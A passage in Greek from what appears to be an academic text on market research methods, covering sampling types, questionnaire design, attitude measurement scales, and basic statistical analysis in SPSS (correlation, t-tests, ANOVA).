διάσπαση του πληθυσμού σε ομάδες (clusters) και στη συνέχεια επιλέγει τυχαία ένα υποσύνολο των ομάδων αυτών. Δείγμα Κατόπιν Συστηματικής Διαδικασίας Η συστηματική δειγματοληψία, αποτελεί μια μέθοδο περισσότερο εφαρμόσιμη στην πράξη. Σύμφωνα με αυτή, επιλέγουμε με τυχαίο τρόπο έναν αριθμό κ και οι ομάδες του δείγματος, προκύπτουν με βάση αυτόν και το διάστημα της δειγματοληψίας. Δίνεται από τον λόγο του μεγέθους του πληθυσμού Ν προς το μέγεθος του δείγματος n. n N K = Έπειτα σχηματίζω αριθμητική πρόοδο (n – 1) κ και επιλέγω αριθμό λ τέτοιον ώστε λ κ > 0 και προσθέτω το κάθε ένα από τα αποτελέσματα στους όρους της αρχικής μου ακολουθίας. Τα στοιχεία του καταλόγου με α/α καταχωρήσεως τους αριθμούς της νέας ακολουθίας, θα αποτελέσουν το δείγμα. Επιφανειακό Δείγμα Με τη συγκεκριμένη μορφή επιλέγεται δείγμα από μια επιφάνεια και χρησιμοποιείται όταν δεν υπάρχουν οι κατάλληλες προδιαγραφές για την εφαρμογή κάποιας από τις προηγούμενες μεθόδους. Για τη διενέργειά της, η περιοχή χωρίζεται σε άλλες μικρότερες και με τυχαία δειγματοληψία επιλέγεται το δείγμα. Η παραπάνω διαδικασίες συνεχίζονται διαδοχικά σε όλο και μικρότερες περιοχές. Η συγκεκριμένη μορφή δειγματοληψίας, παρουσιάζει όλα τα πλεονεκτήματα μιας τυχαίας δειγματοληψίας, ενώ ταυτόχρονα υστερεί λόγω της απαίτησης χαρτών, η ενημέρωση και η κατάρτιση των οποίων είναι ιδιαίτερα δαπανηρή. Επίσης, σε σχέση με τις υπόλοιπες μορφές δειγματοληψίας, επιτυγχάνεται με μικρότερη ακρίβεια, εξαιτίας του γεγονότος ότι το δείγμα δεν λαμβάνεται από το σύνολο της ερευνώμενης έκτασης, αλλά από μέρος αυτής. ii. Δείγματα Μη Πιθανότητας (non probability samples) Όλα τα δείγματα μη πιθανότητας στηρίζονται στην προσωπική κρίση του ερευνητή. Στην περίπτωση αυτή, τα αποτελέσματα της έρευνας είναι αμφισβητούμενα εξαιτίας της αδυναμίας υπολογισμού του μεγέθους του

στατιστικού σφάλματος. Γεγονός που κατά συνέπεια δεν του επιτρέπει να υπολογίσει τον βαθμό ακρίβειας των αποτελεσμάτων. 63 Τρία δείγματα μη πιθανοτήτων είναι τα: Συμβατικό Δείγμα Μη Πιθανότητας (conventional non probability sample) Στο οποίο η επιλογή των μελών του δείγματος γίνεται με μοναδικό κριτήριο την ευκολία. Ο ερευνητής, επιλέγει τα απλούστερα προσπελάσιμα στοιχεία του πληθυσμού για τη συμμετοχή τους στην έρευνα. Το βασικό ελάττωμα που παρουσιάζουν τα συμβατικά δείγματα, είναι η αδυναμία διαπίστωσης της αντικειμενικότητα του δείγματος. Ένα παράδειγμα συμβατικού δείγματος μη πιθανότητας, είναι η αναζήτηση εθελοντών για τη δοκιμή ενός νέου προϊόντος. Η μέγιστη χρήση αυτών των δειγμάτων, γίνεται συχνά για την πραγματοποίηση εξερευνητικών ερευνών. Βασικό πλεονέκτημά τους, αποτελεί η γρήγορη εξαγωγή συμπερασμάτων με μικρό κόστος. Υποκειμενικό Δείγμα Μη Πιθανότητας (attitudinal non probability sample) Η επιλογή του δείγματος στην περίπτωση αυτή, γίνεται με βάση την κρίση κάποιου ειδικού, ως προς την καταλληλότητα επιλογής του δείγματος του πληθυσμού, για τη συμμετοχή του στην έρευνα, ανάλογα πάντα με τον σκοπό της. Τα υποκειμενικά δείγματα μη πιθανότητας, παρουσιάζουν αδυναμία στον υπολογισμού συστηματικών και τυχαίων σφαλμάτων. Όπως τα συμβατικά, έτσι και τα υποκειμενικά δείγματα, ενδείκνυνται για την διενέργεια εξερευνητικών μελετών. Μια ειδική κατηγορία υποκειμενικού δείγματος, αποτελεί το δείγμα της χιονοστιβάδας (snowball sample). Στη μέθοδο αυτή, ο ερευνητής επιλέγει ένα αρχικό δείγμα ερωτώμενων (συμμετέχοντες ‘ηγέτες’) και στη συνέχεια αναθέτει σε κάθε έναν από αυτούς να του υποδείξουν με τη σειρά τους άλλα άτομα ανάλογων χαρακτηριστικών. Ποσοστιαίο Δείγμα Μη Πιθανότητας (percentage non probability sample) 64 Στον συγκεκριμένο τύπο δείγματος, ο ερευνητής επιλέγει ένα δείγμα όμοιο με τον πληθυσμό με βάση διάφορα προκαθορισμένα χαρακτηριστικά ελέγχου, συνήθως δημογραφικά. Για τη χρήση του συγκεκριμένου τύπου δείγματος, απαιτείται η γνώση των ποσοστιαίων αναλογιών του πληθυσμού όσον αφορά τα χαρακτηριστικά ελέγχου, ο άμεσος συσχετισμός των χαρακτηριστικών αυτών με τις άλλες μεταβλητές της έρευνας και ο περιορισμένος αριθμός τους. Σημαντικό ρόλο παίζει και εδώ η αντιπροσωπευτικότητα του δείγματος, όπως και η μη ακριβής αναλογία των χαρακτηριστικών του πληθυσμού. Το ποσοστιαίο δείγμα μη πιθανότητας, κρίνεται το καταλληλότερο για τη διενέργεια εξερευνητικών μελετών. Ερωτηματολόγιο Στόχος της χρήσης του ερωτηματολογίου σε μία έρευνα αγοράς, είναι η συλλογή πληροφοριών. Παρακάτω θα αναλύσουμε τη διαδικασία που ακολουθείται για τον σχεδιασμό του (questionnaire design), καθώς και για τις βασικές αρχές που πρέπει να διέπουν τη διαδικασία. Στο τέλος της ενότητας, παρουσιάζονται τα ερωτηματολόγια που σχεδιάστηκαν και χρησιμοποιήθηκαν για τη διενέργεια της έρευνάς μας. Το ερωτηματολόγιο,

θα πρέπει πάντα να συνοδεύεται από έγγραφες οδηγίες σχετικά με τον τρόπο συμπλήρωσής του καθώς και για τον σκοπό και τον τρόπο διενέργειας της έρευνας. Ο ερευνητής, πέραν της ειδικής εκπαίδευσης στην οποία πρέπει να συμμετέχει,, θα πρέπει να έχει στη διάθεσή του αναλυτικές έγγραφες οδηγίες για τον τρόπο που θα χειριστεί την προσέγγισή του με το κοινό και θα αντιμετωπίσει τις διάφορες δυσκολίες που πιθανόν να προκύψουν. Οι οδηγίες τις οποίες καλείται να ακολουθήσει ο ερευνητής, είναι οι ακόλουθες: Περιληπτική αναφορά στους σκοπούς, στον τρόπο οργάνωσης και στη μεθοδολογία της έρευνας προκειμένου να γίνει πλήρως αντιληπτός σε αυτόν ο σκοπός της Ενδεικτικός τρόπος εργασίας που θα πρέπει να ακολουθήσει ως προς την αναγνώριση της περιοχής διεξαγωγή της έρευνας, τον τρόπο δειγματοληψίας, τις μονάδες του πληθυσμού, τον τρόπο προσέγγισης των συμμετεχόντων στην έρευνα. Πλήρη περιγραφή των εννοιών των διαφόρων μεγεθών για τα οποία θα γίνει η συλλογή στοιχείων και άλλου είδους διευκρινήσεις για θέματα ορισμών, διακρίσεων που θα τον βοηθήσουν στην αποτελεσματικότερη συλλογή στοιχείων. Αναλυτική παρουσίαση του τρόπου συμπλήρωσης του ερωτηματολογίου. Επισημαίνεται, οι παραπάνω οδηγίες θα πρέπει να είναι εύχρηστες, συνοπτικές και τυποποιημένες. Κάτι τέτοιο είναι εύκολα επιτεύξιμο και με τη χρήση εικόνων και σχημάτων προς την εύκολη και γρήγορη κατανόησή τους από τον ερευνητή. Η Έννοια του Ερωτηματολογίου Αρχικά ένα ερωτηματολόγιο οφείλει να έχει τα εξής χαρακτηριστικά: Πληρότητα Η ανάγκη κάλυψης όλων των πτυχών του ερευνώμενου χαρακτηριστικού. Σαφήνεια Δεν αναφέρεται μόνο στο περιεχόμενο των πληροφοριών, αλλά και στο άτομο το οποίο πρέπει να δώσει τις απαντήσεις. Συνοχή Είναι η ανάγκη οργανικής σύνδεσης των επιμέρους ερωτημάτων μεταξύ τους. Συγγενή ερωτήματα πρέπει να εμφανίζονται στο ερωτηματολόγιο ομαδοποιημένα και να ερωτώνται μαζί, προκειμένου η σκέψη και η μνήμη του ερωτώμενου να παρέχουν το δυνατόν σωστότερες απαντήσεις. Κατάλληλη δομή Είναι η σειρά με την οποία θα τίθενται οι ομάδες ερωτήσεων , εφόσον η τελευταία είναι πολύ σημαντικό κριτήριο ανταπόκρισης του κοινού. Να περιλαμβάνει ερωτήματα ελέγχου Τίθενται ακριβώς για τον έλεγχο της ορθότητας των απαντήσεων σε βασικές ερωτήσεις. Για τον λόγο αυτό, πολλές φορές φαίνονται ως πλεονάζουσες μέσα σε ένα ερωτηματολόγιο. Αρτιότητα εμφάνισης Η ποιότητα του χαρτιού και της εκτύπωσης – ακόμα και της γραμματοσειράς – δημιουργούν και την ανάλογη προδιάθεση για τη σοβαρότητα της έρευνας με αποτέλεσμα οι ερωτώμενοι να δείξουν μεγαλύτερο ζήλο στην προσπάθεια απάντησης ,σωστά, των ερωτήσεων του ερωτηματολογίου. Επιπλέον εδώ περιλαμβάνεται και το κατά πόσο «φορτωμένο» εμφανίζεται το ερωτηματολόγιο. Είναι συνετό να περιορίσουμε όσο το δυνατόν την έκταση

του καθώς να απλουστεύσουμε τις ερωτήσεις έτσι ώστε να μην καταλαμβάνουν πολύ χώρο και κατ’ επέκταση χρόνο κατανόησης. Σύνταξη και διαδικασία σχεδιασμού του ερωτηματολογίου Η διατύπωση των ερωτήσεων Για μια αποτελεσματική έρευνα, η σωστή συμπλήρωση του ερωτηματολογίου κρίνεται ιδιαίτερα σημαντική, καθώς το ερωτηματολόγιο αποτελεί το βασικό εργαλείο του συγκεκριμένου τρόπου έρευνας. Για το λόγο αυτό θα πρέπει να έχει μια σαφή δομή προκειμένου να είναι εύκολα συμπληρώσιμο από κάθε συμμετέχοντα στην έρευνα. Για την σωστή διατύπωση των ερωτήσεων, θα παραθέσουμε σχηματικά τι πρέπει να χρησιμοποιείται και τι πρέπει να αποφεύγεται προκειμένου ένα ερωτηματολόγιο να είναι αποτελεσματικό και επαρκές για την έρευνα .

Ταξινομήσεις και κλασικές κλίμακες στάσεων Μια ερώτηση ανεξάρτητα αν είναι ανοικτού ή κλειστού τύπου απαιτεί απαντήσεις που υπαγορεύονται από τον στόχο της έρευνας και, σε πολλές περιπτώσεις, είναι αποτέλεσμα συστηματικής ταξινόμησης της μετρούμενης μεταβλητής. Οι ταξινομήσεις αυτές αποτελούν ξεχωριστό αντικείμενο της στατιστικής και απασχολούν παγκοσμίως την επιστημονική κοινότητα. Βασική ταξινόμηση, δηλαδή συστηματική κωδικοποίηση των απαντήσεων σε μια μεταβλητή, αποτελεί ο Κώδικας Ταξινόμησης Επαγγελμάτων και ο Κώδικας Ταξινόμησης των Κλάδων Οικονομικής Δραστηριότητας. Επίσης μια κλασσική και εξίσου σημαντική ταξινόμηση, είναι η Γεωγραφική. Σε αυτή, πραγματοποιείται πλήρης κατάταξη ενός συστήματος γεωγραφικών περιοχών σε διάφορα επίπεδα, ανάλογα με κάποιο χαρακτηριστικό. Βασικό χαρακτηριστικό των

συστηματικών αυτών ταξινομήσεων, είναι η ανάπτυξή τους σε διάφορα επίπεδα ανάλυσης που συνήθως αναφέρονται ως Μονοψήφια ή Διψήφια Ταξινόμηση. Στις κοινωνικές επιστήμες, εκτός των παραπάνω αντικειμενικών ταξινομήσεων είναι πολλές φορές αναγκαία η μέτρηση της στάσης ενός στατιστικού πληθυσμού, που υποδηλώνει έναν πιο σταθερό τρόπο σκέψης ή συμπεριφοράς του κάθε μέλους του απέναντι σε κάποιο κοινωνικό πρόβλημα. Κλίμακες Μέτρησης της Στάσης των Καταναλωτών Τα στελέχη μάρκετινγκ μιας επιχείρησης, καταβάλλουν σημαντικές προσπάθειες για να επηρεάσουν τη γνώμη των καταναλωτών. Επομένως πληροφορίες που αφορούν τη στάση τους αλλά και πιθανές αλλαγές αυτής. Παρακάτω θα αναφέρουμε τις συνηθέστερες κλίμακες μέτρησης που χρησιμοποιούνται στο ερωτηματολόγιο για τη διενέργεια μιας έρευνας. Κλίμακα Likert 74 Με την κλίμακα αυτή ο ερωτώμενος καλείται να δηλώσει το βαθμό συμφωνίας ή διαφωνίας του με μια σειρά προτάσεων σχετικά με το αντικείμενο του ενδιαφέροντος. Για το σχεδιασμό της κλίμακα αυτής ο ερευνητής πρέπει να σχεδιάσει προτάσεις ή φράσεις για τα χαρακτηριστικά του αντικειμένου για τα οποία ο ερωτώμενος έχει άποψη. Φυσικά κάθε πρόταση ή φράση μπορεί να εκφράζεται είτε με θετικό τρόπο είτε με αρνητικό τρόπο. Κλίμακα Σημαντικού Διαφορικού Σήμερα, η Κλίμακα Σημαντικού Διαφορικού θεωρείται μία από τις δημοφιλέστερες και ευρύτατα χρησιμοποιούμενες κλίμακες από τα στελέχη μάρκετινγκ. Έχει παρατηρηθεί ότι η συγκεκριμένη κλίμακα είναι ιδιαίτερα χρήσιμη για μελέτες που αφορούν την εικόνα (image) μιας εταιρίας, ενός προϊόντος ή κάποιας μάρκας (brand name). Στην πιο συνηθισμένη της μορφή, η κλίμακα αυτή απαιτεί από τον ερωτώμενο να επιλέξει το σημείο εκείνο που αντιπροσωπεύει την γνώμη του ανάμεσα σε δύο διπολικές - αντίθετες λέξεις ή φράσεις. Παρακάτω παρουσιάζουμε ένα παράδειγμα προς καλύτερη κατανόηση: Είναι σημαντικό επίσης να σημειωθεί ότι η κλίμακα σημαντικού διαφορικού μπορεί να χρησιμοποιηθεί για να αξιολογήσει ο ερωτώμενος δύο ή περισσότερα προϊόντα, μάρκες ή εταιρίες . Αυτό επιτρέπει στον ερευνητή να δημιουργήσει το προφίλ (profile analysis) του κάθε προϊόντος ή εταιρίας. Όταν δε δημιουργούνται προφίλ για πολλά προϊόντα τότε μπορούν να γίνουν συγκρίσεις και συσχετίσεις ανάμεσα στα προφίλ των διαφόρων προϊόντων. 75 Πλεονεκτήματα: Η κλίμακα του σημαντικού διαφορικού έχει το πλεονέκτημα ότι είναι απόλυτα σαφής και γίνεται κατανοητή στον ερωτώμενο. Παρέχει επίσης την δυνατότητα στον ερωτώμενο να εκφράσει την ένταση των συναισθημάτων του για το προϊόν ή την υπηρεσία κλπ για τα οποία διερωτάται. Μειονεκτήματα: Το μόνο πρόβλημα που παρουσιάζεται στην κλίμακα αυτή έγκειται στην δυσκολία του ερευνητή στην εύρεση εύστοχων αντίθετων λέξεων ή φράσεων. Κλίμακα Stapel Η κλίμακα Stapel αποτελεί

απλοποιημένη μορφή της κλίμακας του σημαντικού διαφορικού την οποία και αναλύσαμε παραπάνω. Παρόλαυτα διαφέρει σε δύο , μόλις σημεία. Πρώτον χρησιμοποιούνται μονοπολικές λέξεις ή φράσεις. Δεύτερον αντί για παύλες χρησιμοποιούνται αριθμοί που κυμαίνονται από –3 έως +3, αν και οποιοδήποτε άλλο εύρος μπορεί να χρησιμοποιηθεί. Πλεονεκτήματα: Το πλεονέκτημα της κλίμακας αυτής είναι ότι σε αντίθεση με την κλίμακα σημαντικού διαφορικού, η επιλογή των λέξεων ή φράσεων που θα χρησιμοποιηθούν είναι εύκολη υπόθεση. Σημείωση: Η κλίμακα Stapel έχει χρησιμοποιηθεί με επιτυχία για έρευνες που χρησιμοποιούν τηλεφωνικές συνεντεύξεις. Κλίμακα Σπουδαιότητας 76 Το μόνο πρόβλημα που παρουσιάζεται στην κλίμακα αυτή έγκειται στην δυσκολία του ερευνητή στην εύρεση εύστοχων αντίθετων λέξεων ή φράσεων Στην κλίμακα σπουδαιότητας, ο ερωτώμενος καλείται να βαθμολογήσει τη σπουδαιότητα κάποια ιδιότητας του αντικειμένου από «καθόλου σημαντική» μέχρι «πάρα πολύ σημαντική». Για παράδειγμα, ας υποθέσουμε ότι θέλουμε να δούμε ποια είναι τα χαρακτηριστικά μιας τηλεόρασης στα οποία αποδίδουν μεγαλύτερη σημασία οι καταναλωτές και στα οποία ,είναι λογικό, ότι οι τελευταίοι θα δώσουν μεγαλύτερη σημασία ως προς το ποια μάρκα θα αγοράσουν. Παρακάτω παρουσιάζουμε ένα παράδειγμα προς καλύτερη κατανόηση: Οδηγίες: Παρακαλώ αξιολογήστε πόσο σημαντικό είναι κάθε ένα από τα παρακάτω χαρακτηριστικά μιας τηλεόρασης, βάζοντας Χ στο κατάλληλο κουτάκι. Χαρακτηριστικό Καθόλου Λίγο Πολύ Πάρα Πολύ Σημαντικό Σημαντικό Σημαντικό Σημαντικό 1. Ποιότητα Εικόνας 2. Ποιότητα Ήχου 3.Τιμή Πλεονεκτήματα: Ένα από τα σημαντικότερα πλεονεκτήματα της κλίμακας αυτής είναι η ευκολία στο σχεδιασμό της. Επίσης καθιστά δυνατή την ύπαρξη διαφοροποιήσεων μεταξύ των διαφόρων χαρακτηριστικών του προϊόντος ή της υπηρεσίας. Τέλος ο ερωτώμενος μπορεί να την συμπληρώσει χωρίς ιδιαίτερες δυσκολίες. Κλίμακα Σταθερού Αθροίσματος Η κλίμακα σταθερού αθροίσματος απαιτεί από τον ερωτώμενο να κατανείμει έναν ορισμένο αριθμό βαθμών ανάμεσα σε δύο ή περισσότερες ιδιότητες του αντικειμένου. Η υπόθεση που γίνεται είναι ότι όσο πιο σπουδαία είναι κάποια ιδιότητα τόσο περισσότερους βαθμούς παίρνει. Μειονεκτήματα: Ένα σημαντικό πρόβλημα που παρουσιάζει η κλίμακα αυτή είναι ότι συνήθως οι ερωτώμενοι κατανέμουν μεν τους βαθμούς στα διάφορα χαρακτηριστικά, αλλά το άθροισμα τους είναι είτε μικρότερο είτε μεγαλύτερο του 100. Σε αυτή την περίπτωση ο ερευνητής μπορεί να κάνει μια προσαρμογή /αναγωγή με το να διαιρέσει τους βαθμούς σε κάθε ιδιότητα με το σύνολο για όλες τις ιδιότητες και να πολλαπλασιάσει επί 100. Κλίμακα Κατάταξης Η κλίμακα κατάταξης απαιτεί

ο ερωτώμενος να κατατάξει ορισμένα αντικείμενα ή ιδιότητες αντικειμένων με βάση κάποιο κριτήριο. Η κλίμακα αυτή είναι ιδιαίτερα δημοφιλής στην μέτρηση των προτιμήσεων των καταναλωτών είτε για διάφορα προϊόντα ή υπηρεσίες είτε για τα χαρακτηριστικά ενός προϊόντος ή υπηρεσίας. Παρακάτω παρουσιάζουμε ένα παράδειγμα προς καλύτερη κατανόηση: Οδηγίες: Παρακάτω κατατάξτε σε 1ο , 2ο , 3ο , 4ο , 5ο και 6ο τα παρακάτω χαρακτηριστικά κατά την αγορά ενός αυτοκινήτου ανάλογα με τον βαθμό προτίμησής τους, θέτοντας 1 στο πιο επιθυμητό χαρακτηριστικό και 6 στο λιγότερο επιθυμητό χαρακτηριστικό.

Γραφική Κλίμακα Στη γραφική κλίμακα ο ερωτώμενος καλείται να επιλέξει ένα σημείο της κλίμακας όπου το ένα άκρο της αντιπροσωπεύει τη θετική πλευρά του χαρακτηριστικού και το άλλο την αρνητική πλευρά του χαρακτηριστικού. Για παράδειγμα:

Πλεονεκτήματα: Ένα από τα σημαντικότερα πλεονεκτήματα της κλίμακας αυτής είναι η ευκολία στο σχεδιασμό της. Για να είναι όμως αποτελεσματική τα άκρα δεν θα πρέπει να βρίσκονται σε μεγάλη απόσταση, γιατί διαφορετικά ο ερωτώμενος συνήθως επιλέγει το κέντρο της κλίμακας άρα τα δεδομένα μας θα έχουν περιορισμένη χρησιμότητα. Σημείωση: Η γραφική κλίμακα σπάνια χρησιμεύει σε έρευνες μάρκετινγκ εφόσον έχει αποδειχθεί ότι δεν είναι απόλυτα αξιόπιστη1 . Μη Συγκριτική Κλίμακα Η μη συγκριτική κλίμακα είναι παρόμοια με την γραφική κλίμακα την οποία αναλύσαμε παραπάνω, με την διαφορά ο ερωτώμενος καλείται να επιλέξει από έναν περιορισμένο αριθμό κατηγοριών της κλίμακας (συνήθως 5 – 9 κατηγορίες). Πέρα από τις συνήθεις μορφές που μπορεί να πάρει έναν ερωτηματολόγιο η κλίμακα αυτή εισάγει μία εναλλακτική μορφή με την χρήση εικόνων (faces scale). Πλεονεκτήματα: Η παρακάτω κλίμακα έχει χρησιμοποιηθεί με επιτυχία σε έρευνες με παιδιά.

Επιπλέον οι συγκεκριμένες κλίμακες είναι εύκολες στον σχεδιασμό και θεωρούνται από τις πιο αξιόπιστες.

Συγκριτική Κλίμακα Στη γραφική και τη μη-συγκριτική κλίμακα, που περιγράψαμε παραπάνω, ο ερωτώμενος αξιολογεί το αντικείμενο χωρίς να γίνεται άμεση αναφορά σε κάποιο προκαθορισμένο πρότυπο. Εδώ πρότυπο εννοούμε το μέτρο σύγκρισης. Λόγου χάρη δύο καταναλωτές θα αξιολογούσαν διαφορετικά ένα αυτοκίνητο, αν ο μεν είχε ως πρότυπο το αυτοκίνητο που ήδη οδηγεί και αν ο δε το αυτοκίνητο των ονείρων του (εκτός εάν συμπίπτουν τα δύο πρότυπα). Έτσι αν ο ερευνητής επιθυμεί όλοι οι ερωτώμενοι να έχουν το ίδιο σημείο αναφοράς όταν απαντούν σε μία κλίμακα μέτρησης, τότε πρέπει να χρησιμοποιεί την συγκριτική κλίμακα. Ανάλυση στοιχείων Επιλογή κατάλληλου στατιστικού τεστ Στην έρευνα αγοράς, ο ερευνητής δημιουργεί μια υπόθεση και στη συνέχεια ελέγχει την εγκυρότητά της βασιζόμενος στη θεωρία των πιθανοτήτων. Μια υπόθεση (hypothesis) είναι μια αφαιρετική δήλωση της σχέσης μεταξύ δυο ή περισσοτέρων μεταβλητών που μπορούν να μετρηθούν. Η μηδενική υπόθεση, αποτελεί την υπόθεση που ο ερευνητής θα εξετάσει. Ονομάζεται επίσης και υπόθεση της μη διαφοράς (hypothesis of no difference). Η εναλλακτική υπόθεση είναι η θετική εκδοχή της μηδενικής υπόθεσης. Οι έλεγχοι των ερευνητικών υποθέσεων πραγματοποιούνται με τη χρήση διάφορων στατιστικών τεστ, τα οποία διαχωρίζονται σε δυο ευρείες κατηγορίες. Τα τεστ ενός δείγματος (one sample tests) και τα τεστ δυο δειγμάτων (tow sample tests). Με τα τεστ ενός δείγματος (one sample tests) γίνεται σύγκριση του δείγματος με τον πληθυσμό και εξετάζεται αν το στατιστικό δείγμα διαφέρει στατιστικά σημαντικά σε μια παράμετρο του πληθυσμού. Με τα τεστ δυο δειγμάτων (two sample tests) γίνεται έλεγχος ύπαρξης σημαντικής στατιστικής διαφοράς μεταξύ του δείγματος και του πληθυσμού. Οι μεταβλητές που μετρώνται μέσω της έρευνας

αγοράς, είναι προτιμότερο να ακολουθούν προσεγγιστικά την κανονική κατανομή (κατανομή Gauss). Στην περίπτωση που η κατανομή του δείγματος δεν είναι κανονική, ο ερευνητής καλείται να επιλέξει ένα τεστ μη παραμετρικής ανάλυσης. Τα τεστ και την ανάλυση αυτής κατηγορίας θα τα εξετάσουμε σε επόμενη ενότητα. Προετοιμασία στοιχείων προς ανάλυση Στην έρευνα αγοράς, γίνεται χρήση στατιστικών προγραμμάτων, ή ειδικότερα στατιστικών πακέτων, τα οποία επιτρέπουν τη γρήγορη ανάλυση ποσοτικών δεδομένων. Το πλέον διαδεδομένο, εύχρηστο και ευέλικτο στατιστικό πακέτο που χρησιμοποιείται για την παραπάνω διαδικασία είναι το SPSS (Statistical Package for the Social Sciences). 81 Για τη σωστή εισαγωγή των στοιχείων που έχουν συλλεχθεί μέσω της προηγηθείσας έρευνας αγοράς στο στατιστικό πακέτο SPSS, πρέπει κάθε γραμμή να αντιπροσωπεύει τις απαντήσεις του κάθε συμμετέχοντα στην έρευνα, ενώ κάθε στήλη θα πρέπει να παρουσιάζει μια και μόνον μεταβλητή. Το SPSS αποτελείται από δυο φύλλα εργασίας. Τη ‘‘Data View’’ και τη ‘‘Variable View’’. Η επιλογή ‘‘Data View’’, εμφανίζει τα στοιχεία που έχουν εισαχθεί από τον ερευνητή, ενώ η επιλογή ‘‘Variable View’’, εμφανίζει λεπτομέρειες που αφορούν στις μεταβλητές που έχουν ορισθεί. Οι μεταβλητές scale (αναλογίας) χρησιμοποιούνται για τη σύγκριση απόλυτων μεγεθών όπου υπάρχει το πραγματικό σημείο μηδέν στην αρχή και προκύπτουν συνήθως από ερωτήσεις στις οποίες δεν υπάρχουν προεπιλεγείσες απαντήσεις. Μια μεταβλητή θεωρείται ordinal (με συγκεκριμένο αριθμό σειράς και πλήθους) όταν οι αξίες της είναι ιεραρχημένες με τέτοιο τρόπο ώστε η θέση τους να αντικατοπτρίζει τη βαθμιαία αύξηση ή μείωση της σχέσης των αξιών. Μια ειδική κατηγορία ordinal είναι οι μεταβλητές interval (διαστημάτων). Συγκεκριμένα, στις μεταβλητές αυτές τα διαστήματα μεταξύ των παρακείμενων κατατάξεων είναι ίσα. Έχουν δηλαδή την ιδιότητα, η απόσταση όλων των ζευγών να αποτελούν γνωστό μέγεθος. Οι μεταβλητές αυτές χρησιμοποιούνται για τη μέτρηση διαφορών. Οι μεταβλητές nominal (ονομαστικές), είναι κατηγορικές μεταβλητές των οποίων οι τιμές αναφέρονται σε ονόματα, κατηγορίες, χαρακτηριστικά και άλλου είδους παρόμοιες διακρίσεις. Οι συγκεκριμένες

μεταβλητές

προέρχονται από ερωτήσεις κατηγοριοποιημένων, μη

ταξινομημένων απαντήσεων. Μια υποκατηγορία αυτών, είναι οι διχοτομικές μεταβλητές. 6.3. Στατιστικές αναλύσεις – Γραφήματα 82 Η χρήση των περιγραφικών μεθόδων στατιστικών αναλύσεων, συμβάλλει στην παρουσίαση και στην κατανόηση των δεδομένων που συνελλέγησαν μέσω του δείγματος, αλλά και στην εξαγωγή χρήσιμων για την έρευνα συμπερασμάτων. Η βασική περιγραφική ανάλυση των στοιχείων της έρευνας, ενδείκνυται πριν την εφαρμογή διαφόρων μεθόδων ανάλυσης, συσχέτισης ή άλλων στατιστικών ελέγχων από τον ερευνητή. Επίσης η περιγραφική ανάλυση εξασφαλίζει στον ερευνητή την ορθότητα

συγκεκριμένων υποθέσεων για ορισμένες στατιστικές αναλύσεις, με αποτέλεσμα τη λήψη σωστών αποτελεσμάτων και συμπερασμάτων που προκύπτουν από τις αναλύσεις αυτές. Το στατιστικό πακέτο SPSS διαθέτει μεγάλη ποικιλία γραφημάτων, δηλαδή γραφικών απεικονίσεων στο χώρο τα οποία παρουσιάζουν τα αποτελέσματα της περιγραφικής ανάλυσης. Τεχνικές ανάλυσης συσχέτισης Η ανάλυση συσχέτισης δίνει στον ερευνητή πληροφορίες που αφορούν στην κατεύθυνση και την ένταση της σχέσης μεταξύ των μεταβλητών της έρευνας. Συνήθως, οι συντελεστές συσχέτισης όπως ο συντελεστής του Pearson και ο συντελεστής μερικής συσχέτισης, λαμβάνουν τιμές μεταξύ του –1 και του +1. εάν η τιμή του συντελεστή βρίσκεται μεταξύ του –1 και του 0, τότε υπάρχει αρνητική συσχέτιση μεταξύ των δυο μεταβλητών. Αντίθετα, αν ο συντελεστής συσχέτισης βρίσκεται μεταξύ του 0 και του +1, τότε υπάρχει θετική συσχέτιση μεταξύ των δυο μεταβλητών. Στην περίπτωση που ο συντελεστής συσχέτισης είναι ίσος με 0, συμπεραίνουμε πως δεν υπάρχει γραμμική συσχέτιση μεταξύ των δυο μεταβλητών. Πιο συγκεκριμένα, τιμές του συντελεστή συσχέτισης από –1 έως –0,7 και από +0,7 έως +1, παραπέμπουν σε ισχυρή συσχέτιση μεταξύ των μεταβλητών. Εάν ο συντελεστής συσχέτισης παίρνει τιμές από –0,7 έως –0,3 και από +0,3 έως +0,7, τότε συμπεραίνεται ασθενής συσχέτιση μεταξύ των μεταβλητών. Τονίζεται, πως αν και η ανάλυση συσχέτισης αντικατοπτρίζει την ένταση της σχέσης μεταξύ των μεταβλητών που εξετάζουμε, δεν εξηγεί τη σχέση αιτίας – αιτιατού. 6.5. Τεχνικές ανάλυσης διαφόρων Τ-Tests Η χρήση των Τ-Tests δείγματος χρησιμοποιείται στην έρευνα αγοράς προς την εξέταση της διαφοράς που μπορεί να εμφανίζεται μεταξύ του μέσου της μεταβλητής σε σχέση με μια τιμή της μεταβλητής που έχει επιλέξει ο ερευνητής. Για ανεξάρτητα δείγματα, η χρήση των Τ-Tests χρησιμοποιείται σε περιπτώσεις όπου υπάρχουν δυο ανεξάρτητες μεταξύ τους ομάδες παρατηρήσεων και το ζητούμενο είναι ο εντοπισμός διαφορών στους μέσους της εξαρτημένης μεταβλητής μεταξύ των δυο αυτών ομάδων. Τα Τ-Tests για ζευγαρωτά δείγματα, ενδείκνυται σε περιπτώσεις όπου δυο μετρήσεις προέρχονται από το ίδιο δείγμα. Αναλύσεις (Διακύμανσης, Παραγόντων, Ομάδων και Διάκρισης, Παλινδρόμησης, Conjoin, Πολυδιάστατη Κλιμακοποίηση και Αντιστοιχία ) Διακύμανσης Η ανάλυση διακύμανσης (ANOVA) χρησιμοποιεί το T-Test για να εξετάσει τις διαφορές μεταξύ των μέσων τριών ή περισσοτέρων ομάδων. Για τη χρήση της μεθόδου αυτής, η βασική προϋπόθεση είναι η ύπαρξη κατηγοριοποιημένων ανεξάρτητων μεταβλητών και μιας εξαρτημένης μεταβλητής. Οι ερευνητικές υποθέσεις είναι η ισότητα των μέσων των ομάδων που εξετάζονται ή η διαφορετικότητά τους. Η ανάλυση διακύμανσης μονής κατεύθυνσης (one way ANOVA), εξετάζει διαφορές μεταξύ τριών ή και περισσοτέρων ομάδων μιας κατηγοριοποιημένης

